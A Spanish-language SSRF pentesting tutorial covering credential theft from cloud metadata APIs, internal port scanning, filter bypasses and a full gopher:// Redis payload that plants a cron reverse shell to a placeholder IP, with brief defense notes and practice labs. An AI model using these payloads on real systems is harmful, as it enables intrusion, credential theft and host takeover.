Guía de Ataques SSRF 2026: Detección, Explotación y Bypass de Server-Side Request Forgery

El Server-Side Request Forgery (SSRF) es una de las vulnerabilidades web más peligrosas y explotadas de los últimos cinco años. Entró en el OWASP Top 10 en 2021 y ha sido utilizada en algunas de las brechas más grandes de la historia del cloud, incluyendo la de Capital One que expuso 100 millones de registros.

Si en 2026 estás haciendo pentesting de aplicaciones web o bug bounty y no estás buscando SSRF de forma sistemática, estás dejando dinero y flags sobre la mesa.

Esta guía cubre todo: qué es SSRF, cómo encontrarlo, cómo explotarlo, ataques a metadatos cloud, técnicas de SSRF ciego, y todos los bypasses de filtros que valen la pena conocer.

¿Qué es SSRF?

SSRF ocurre cuando un atacante puede hacer que una aplicación del lado del servidor envíe peticiones HTTP a un destino arbitrario — uno que el atacante controla o uno que normalmente estaría fuera del alcance.

El escenario clásico: una aplicación web tiene una función que obtiene una URL del lado del servidor (generador de miniaturas, vista previa de URLs, validador de webhooks, renderizador de PDFs, etc.). Si la aplicación no valida qué URLs puede solicitar, un atacante puede apuntarla a servicios internos, APIs de metadatos cloud u otros endpoints sensibles a los que normalmente no podría acceder.

Normal:   Usuario → App Web → API Externa
SSRF:     Usuario → App Web → Servicio Interno/Restringido

El servidor web se convierte en un proxy que el atacante controla.

Por Qué SSRF Es Tan Peligroso en 2026

La mayoría de los objetivos hoy en día corren en infraestructura cloud. Cada proveedor cloud importante expone una API de metadatos accesible desde una IP interna bien conocida — y esas APIs contienen credenciales, tokens y datos de configuración de toda la instancia.

AWS: http://169.254.169.254/latest/meta-data/
GCP: http://metadata.google.internal/computeMetadata/v1/
Azure: http://169.254.169.254/metadata/instance

SSRF exitoso contra un host cloud = acceso a credenciales IAM = potencial toma de control completa de la cuenta. Por eso esta clase de vulnerabilidad recibe calificaciones de severidad crítica y bug bounties de cinco cifras.

Puntos de Entrada para SSRF: Dónde Buscar

Parámetros Basados en URL

Cualquier parámetro que acepte una URL es candidato:

?url=https://ejemplo.com
?image=https://ejemplo.com/foto.jpg
?webhook=https://objetivo.com/notificar
?redirect=https://ejemplo.com
?next=https://ejemplo.com/dashboard
?callback=https://ejemplo.com/api
?feed=https://rss.ejemplo.com/feed.xml
?fetch=https://api.ejemplo.com/datos
?proxy=https://ejemplo.com
?endpoint=https://api.ejemplo.com

Funciones de Importación de Archivos

Importar desde URL (al estilo Google Docs)
Funciones de “obtener desde enlace”
Generadores de vista previa de redes sociales
Generadores de PDF/capturas de pantalla
Paneles de configuración de webhooks

Parseo XML del Lado del Servidor (XXE → SSRF)

Las vulnerabilidades XXE pueden encadenarse con SSRF cuando las entidades externas disparan solicitudes del lado del servidor. Vale la pena encadenarlas si encuentras entradas XML.

Cabeceras HTTP

Algunas aplicaciones validan del lado del servidor URLs pasadas en cabeceras:

X-Forwarded-For: http://servicio-interno/
Referer: http://169.254.169.254/
Host: interno.ejemplo.com

Menos común, pero vale la pena probarlo en aplicaciones antiguas o personalizadas.

Explotación Básica de SSRF

Paso 1: Confirmar que SSRF Existe

Empieza con tu dominio de Burp Collaborator o interactsh:

?url=https://tu-collaborator.burpcollaborator.net

Si recibes una consulta DNS o petición HTTP en Collaborator, el SSRF está confirmado — aunque la respuesta hacia ti esté vacía. Eso es SSRF ciego, y sigue siendo explotable.

Paso 2: Sondear Redes Internas

Una vez confirmado, empieza a sondear el espacio de direcciones internas:

?url=http://localhost/
?url=http://127.0.0.1/
?url=http://0.0.0.0/
?url=http://[::1]/          ← localhost IPv6
?url=http://127.1/          ← notación abreviada
?url=http://2130706433/     ← IP decimal para 127.0.0.1
?url=http://0x7f000001/     ← IP hex para 127.0.0.1

Si alguno devuelve respuestas diferentes (contenido, tiempo, mensajes de error), hay servicios internos alcanzables.

Paso 3: Escanear Puertos en Servicios Internos

Usa SSRF como escáner de puertos contra puertos internos comunes:

http://localhost:22      → SSH (diferencia entre conexión rechazada / timeout)
http://localhost:3306    → MySQL
http://localhost:6379    → Redis
http://localhost:5432    → PostgreSQL
http://localhost:8080    → Panel de administración interno
http://localhost:8443    → HTTPS interno
http://localhost:9200    → Elasticsearch
http://localhost:2375    → Docker API (¡sin autenticación!)
http://localhost:4001    → etcd
http://127.0.0.1:11211  → Memcached

El comportamiento de la respuesta (tiempo, tamaño, tipo de error) te indica qué está abierto y qué cerrado.

Ataques a Metadatos Cloud

Aquí es donde SSRF se convierte en severidad crítica.

Metadatos de AWS EC2

IMDSv1 (aún común en despliegues antiguos):

# Obtener todos los metadatos
http://169.254.169.254/latest/meta-data/

# Obtener credenciales IAM — el premio mayor
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<nombre-rol>

El endpoint de credenciales IAM devuelve:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2026-09-15T23:00:00Z"
}

Son credenciales temporales de AWS que puedes usar con aws-cli para operar como el rol de la instancia EC2.

IMDSv2 (la versión más nueva y protegida):

AWS introdujo IMDSv2 como defensa específicamente contra SSRF. Requiere primero una solicitud PUT con un token de sesión:

# Paso 1: Obtener token
curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

# Paso 2: Usar token en GET
curl -H "X-aws-ec2-metadata-token: TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

IMDSv2 neutraliza el SSRF simple porque el paso PUT generalmente no puede replicarse a través de un SSRF básico de obtención de URL. Pero si el SSRF permite cabeceras personalizadas, o si la aplicación sigue redirecciones, puede seguir siendo explotable.

Otros metadatos útiles de AWS:

http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-ipv4
http://169.254.169.254/latest/meta-data/security-groups
http://169.254.169.254/latest/user-data  ← Frecuentemente contiene scripts de bootstrap con secretos

Metadatos de GCP

# Requiere esta cabecera: Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/

# Tokens de cuenta de servicio
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Información del proyecto
http://metadata.google.internal/computeMetadata/v1/project/project-id

# Claves SSH
http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys

La API de metadatos de GCP requiere la cabecera Metadata-Flavor: Google. Si la aplicación vulnerable reenvía cabeceras personalizadas, puedes explotarla. Si no, busca aplicaciones que hagan solicitudes del lado del servidor y pasen cabeceras.

Metadatos de Azure

# Requiere cabecera: Metadata: true
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# Credenciales de Managed Identity
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Técnicas de SSRF Ciego

Muchas vulnerabilidades SSRF no devuelven respuestas del servidor al atacante. La aplicación hace la solicitud pero solo usa el resultado internamente (o lo descarta). Esto es “SSRF ciego” — más difícil de explotar pero igualmente valioso.

Detección Out-of-Band (OOB)

Usa un servidor de callback para detectar SSRF ciego:

Burp Suite Collaborator (en Burp Pro):

?url=http://tu-id.burpcollaborator.net

interactsh (alternativa de código abierto):

# Instalar
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Iniciar listener
interactsh-client

# Usar URL generada en el payload
?url=http://abc123.oast.fun

Webhook.site:

?url=https://webhook.site/tu-id-unico

Cualquier consulta DNS o petición HTTP a tu servidor de callback confirma SSRF incluso sin ninguna respuesta.

SSRF Ciego a RCE vía Servicios Internos

El SSRF ciego se vuelve peligroso cuando los servicios internos son explotables:

Redis vía Gopher (SSRF → RCE):

gopher://localhost:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0A%0A%2F%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FTU_IP%2F4444%200%3E%261%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

Esto escribe un cron job en Redis que ejecuta una reverse shell — si Redis corre como root o como el usuario de cron.

Elasticsearch:

http://localhost:9200/_cat/indices
http://localhost:9200/<indice>/_search

Expone todos los datos indexados sin autenticación (en despliegues antiguos o mal configurados).

Docker API:

http://localhost:2375/containers/json
http://localhost:2375/images/json
http://localhost:2375/containers/create

Socket Docker sin autenticación = escape de contenedor, nuevo contenedor con volumen del host montado, compromiso completo del host.

Técnicas de Bypass de Filtros SSRF

La mayoría de los desarrolladores conocen SSRF y añaden listas negras. Aquí está cómo evadirlas.

Representaciones Alternativas de IP

Las listas negras que verifican 127.0.0.1 o localhost frecuentemente no detectan estas variantes:

# Notación decimal
http://2130706433/              # 127.0.0.1 en decimal

# Notación octal
http://0177.0.0.1/              # 127.0.0.1 en octal

# Notación hexadecimal
http://0x7f000001/              # 127.0.0.1 en hex

# Notación mixta
http://0177.0.0x1/

# Notación abreviada
http://127.1/                   # Válida, resuelve a 127.0.0.1

# IPv6
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:127.0.0.1]/

# 0.0.0.0
http://0.0.0.0/                 # Resuelve a localhost en muchos sistemas

# URL encoding
http://127.0.0.1%00.ejemplo.com/   # Truncamiento por byte nulo

Bypass Basado en DNS

Registra un dominio que resuelva a 127.0.0.1:

# localtest.me resuelve todos los subdominios a 127.0.0.1
http://localtest.me/
http://cualquiercosa.localtest.me/
http://169.254.169.254.localtest.me/   ← no funciona para metadatos, pero útil para localhost

# nip.io - embebe IP en subdominio
http://127.0.0.1.nip.io/
http://169.254.169.254.nip.io/

DNS Rebinding

Para bypasses más sofisticados, los ataques de DNS rebinding hacen que un dominio externo primero resuelva a una IP legítima (superando la verificación de lista negra) y luego resuelva a una IP interna en la solicitud siguiente. Requiere configuración pero evade la mayoría de los filtros basados en DNS.

Herramientas: Singularity of Origin , servidor DNS personalizado.

Bypass por Redirección

Si la lista negra verifica la URL inicial pero no las redirecciones, aloja un servidor de redirección:

# Servidor de redirección simple
from http.server import HTTPServer, BaseHTTPRequestHandler

class Redireccion(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 80), Redireccion).serve_forever()

Apunta SSRF a tu servidor → redirige a la API de metadatos → la app sigue la redirección.

Confusión en el Parseo de URLs

Explota diferencias entre parsers de URL:

# Confusión de autoridad
http://evil.com@localhost/          # Algunos parsers ven el host como "localhost"
http://localhost#evil.com/
http://localhost?.evil.com/

# Path traversal después de redirección
http://legítimo.com/../../admin

# Confusión de esquema
javascript://comentario
data://text/plain;base64,SSdtIGV2aWw=
file:///etc/passwd                   # Si el esquema file:// está permitido

Smuggling de Protocolos con Gopher

El esquema gopher:// permite enviar bytes crudos sobre una conexión TCP — útil para protocolos que no hablan HTTP:

# Formato genérico
gopher://<host>:<puerto>/<datos>

# Inyección de comandos Redis vía gopher
gopher://localhost:6379/_%2A1%0D%0A%249%0D%0Aflushall%0D%0A

# Memcached vía gopher
gopher://localhost:11211/_%0d%0aset%20ssrfkey%20

# SMTP vía gopher (suplantación de email interna)
gopher://localhost:25/...

SSRF en Frameworks y Bibliotecas Comunes

Python Requests (Lado del Servidor)

Código que hace:

import requests
url = request.args.get('url')
resp = requests.get(url)

Sin validación = SSRF. Prueba con http://localhost/ o cualquier IP interna.

Java URL / HttpURLConnection

Java sigue redirecciones por defecto y soporta esquemas de URL inusuales. Prueba:

file:///etc/passwd
jar:http://evil.com/evil.jar!/
dict://localhost:11211/

Node.js / Axios / node-fetch

Mismo patrón — si la entrada del usuario llega a axios.get(url) o fetch(url) sin validación, es SSRF.

SSRF en Escenarios del Mundo Real

Validadores de Webhooks

“Ingresa tu URL de webhook, te enviaremos un evento de prueba”:

URL del Webhook: http://169.254.169.254/latest/meta-data/iam/security-credentials/

Servicios de PDF/Capturas de Pantalla

Headless Chrome o wkhtmltopdf renderizando URLs suministradas por el usuario:

URL a renderizar: http://localhost:8080/admin/

Estos frecuentemente evaden filtros simples porque el renderizador es un navegador completo — también puede ejecutar JavaScript, habilitando ataques DOM contra servicios internos.

Subida de Imágenes “Importar desde URL”

URL de imagen: http://servicio-almacenamiento-interno/privado/fotos/datos_empleados.csv

Entornos Kubernetes / Docker

El descubrimiento de servicios internos es común en k8s:

http://kubernetes.default.svc/api/v1/secrets
http://etcd.kube-system.svc:2379/v2/keys
http://10.0.0.1:10250/pods         ← API de Kubelet

Detección de SSRF con Burp Suite

Escaneo Automatizado

Burp Collaborator — habilita detección pasiva de SSRF en todas las solicitudes
Burp Active Scanner — inyecta payloads SSRF en parámetros URL
Param Miner — descubre parámetros ocultos que podrían aceptar URLs

Flujo de Trabajo de Caza Manual

Habilitar Burp Collaborator
Hacer spider del objetivo — buscar cualquier funcionalidad que obtenga contenido remoto
Para cada parámetro URL: reemplazar valor con URL de Collaborator
Verificar Collaborator para interacciones DNS/HTTP
Para SSRF confirmado: escalar a sondeo de IPs/puertos internos

Herramientas

Herramienta	Propósito
Burp Suite Pro	Detección y explotación principal de SSRF
interactsh	Callback OOB de código abierto para SSRF ciego
SSRFmap	Explotación automatizada de SSRF
gopherus	Genera payloads gopher:// para servicios comunes
SSRF Sheriff	Servicio de detección SSRF interna para bug bounties
nuclei	Escaneo SSRF basado en plantillas a escala

SSRFmap — exploits automatizados para SSRF confirmado:

git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
python3 ssrfmap.py -r solicitud.txt -p url -m portscan
python3 ssrfmap.py -r solicitud.txt -p url -m redis
python3 ssrfmap.py -r solicitud.txt -p url -m aws

gopherus — genera payloads gopher:

git clone https://github.com/tarunkant/Gopherus
python3 gopherus.py --exploit redis
python3 gopherus.py --exploit smtp
python3 gopherus.py --exploit mysql

¿Necesitas un VPS para tu servidor de callback SSRF? Vultr y DigitalOcean tienen instancias baratas de $4-6/mes que puedes levantar, correr interactsh o un servidor de redirección, y derribar cuando termine el engagement.

Metodología de Explotación SSRF

1. Descubrir → Encontrar parámetros URL, funciones de importación, webhooks
2. Confirmar → Callback OOB (Collaborator/interactsh)
3. Clasificar → Verbose (respuesta completa) vs. Ciego (solo OOB)
4. Escalar →
   ├── SSRF Verbose → sondear IPs/puertos internos, metadatos cloud
   ├── SSRF Ciego → exfil OOB vía DNS, encadenar con vuln interna
   └── Objetivo Cloud → credenciales IAM vía API de metadatos
5. Impacto → Documentar nivel de acceso, credenciales obtenidas, datos expuestos

Notas de Defensa (para Informes)

Al escribir los hallazgos SSRF, los defensores necesitan saber qué funciona:

Lista blanca de URLs de salida — denegar por defecto, permitir solo lo necesario
Deshabilitar esquemas URL no usados — bloquear file://, gopher://, dict://, ftp://
Resolver DNS antes de verificar lista negra — prevenir bypasses por DNS rebinding
Usar IMDSv2 en AWS — requiere token PUT, neutraliza la mayoría de ataques SSRF a la API de metadatos
Bloquear IPs de metadatos a nivel de firewall — defensa a nivel de red
Evitar seguir redirecciones — o validar después de la redirección
WAF con reglas SSRF — Cloudflare, AWS WAF y ModSecurity tienen rulesets SSRF

Laboratorios de Práctica

PortSwigger Web Security Academy — 13 labs de SSRF, gratuitos, mejor aprendizaje estructurado
HackTheBox — máquinas con cadenas reales de SSRF
TryHackMe — salas SSRF amigables para principiantes
DVWA — lab local, cobertura SSRF limitada pero útil para conceptos básicos
VulnHub — varias VMs con SSRF como parte de cadenas más grandes

Conclusiones Clave

SSRF = hacer que el servidor sea tu proxy hacia recursos internos/restringidos
Las APIs de metadatos cloud son el objetivo de mayor valor para SSRF en 2026
El SSRF ciego sigue siendo explotable vía callbacks OOB y encadenamiento con vulns internas
Cada filtro tiene un bypass — prueba múltiples representaciones de IP y esquemas
El protocolo gopher:// convierte SSRF en un inyector TCP crudo contra Redis, SMTP, etc.
IMDSv2 endurece AWS pero no elimina el riesgo SSRF — otros servicios internos siguen expuestos

SSRF es una de esas vulnerabilidades que escala con tu objetivo. Contra una startup con instancias EC2 sin IMDSv2, significa volcado de credenciales y potencial toma de control completa de la cuenta. Contra un despliegue cloud reforzado, igual abre puertas a servicios internos que no debían ser alcanzables. De cualquier manera, vale la pena buscarla.

¿Necesitas informes de pentesting profesionales para tus hallazgos? CipherWrite se encarga de la redacción técnica para profesionales de seguridad — desde writeups de bug bounty hasta informes completos de red team.

¿Qué es SSRF?#

Por Qué SSRF Es Tan Peligroso en 2026#

Puntos de Entrada para SSRF: Dónde Buscar#

Parámetros Basados en URL#

Funciones de Importación de Archivos#

Parseo XML del Lado del Servidor (XXE → SSRF)#

Cabeceras HTTP#

Explotación Básica de SSRF#

Paso 1: Confirmar que SSRF Existe#

Paso 2: Sondear Redes Internas#

Paso 3: Escanear Puertos en Servicios Internos#

Ataques a Metadatos Cloud#

Metadatos de AWS EC2#

Metadatos de GCP#

Metadatos de Azure#

Técnicas de SSRF Ciego#

Detección Out-of-Band (OOB)#

SSRF Ciego a RCE vía Servicios Internos#

Técnicas de Bypass de Filtros SSRF#

Representaciones Alternativas de IP#

Bypass Basado en DNS#

DNS Rebinding#

Bypass por Redirección#

Confusión en el Parseo de URLs#

Smuggling de Protocolos con Gopher#

SSRF en Frameworks y Bibliotecas Comunes#

Python Requests (Lado del Servidor)#

Java URL / HttpURLConnection#

Node.js / Axios / node-fetch#

SSRF en Escenarios del Mundo Real#

Validadores de Webhooks#

Servicios de PDF/Capturas de Pantalla#

Subida de Imágenes “Importar desde URL”#

Entornos Kubernetes / Docker#

Detección de SSRF con Burp Suite#

Escaneo Automatizado#

Flujo de Trabajo de Caza Manual#

Herramientas#

Metodología de Explotación SSRF#

Notas de Defensa (para Informes)#

Laboratorios de Práctica#

Conclusiones Clave#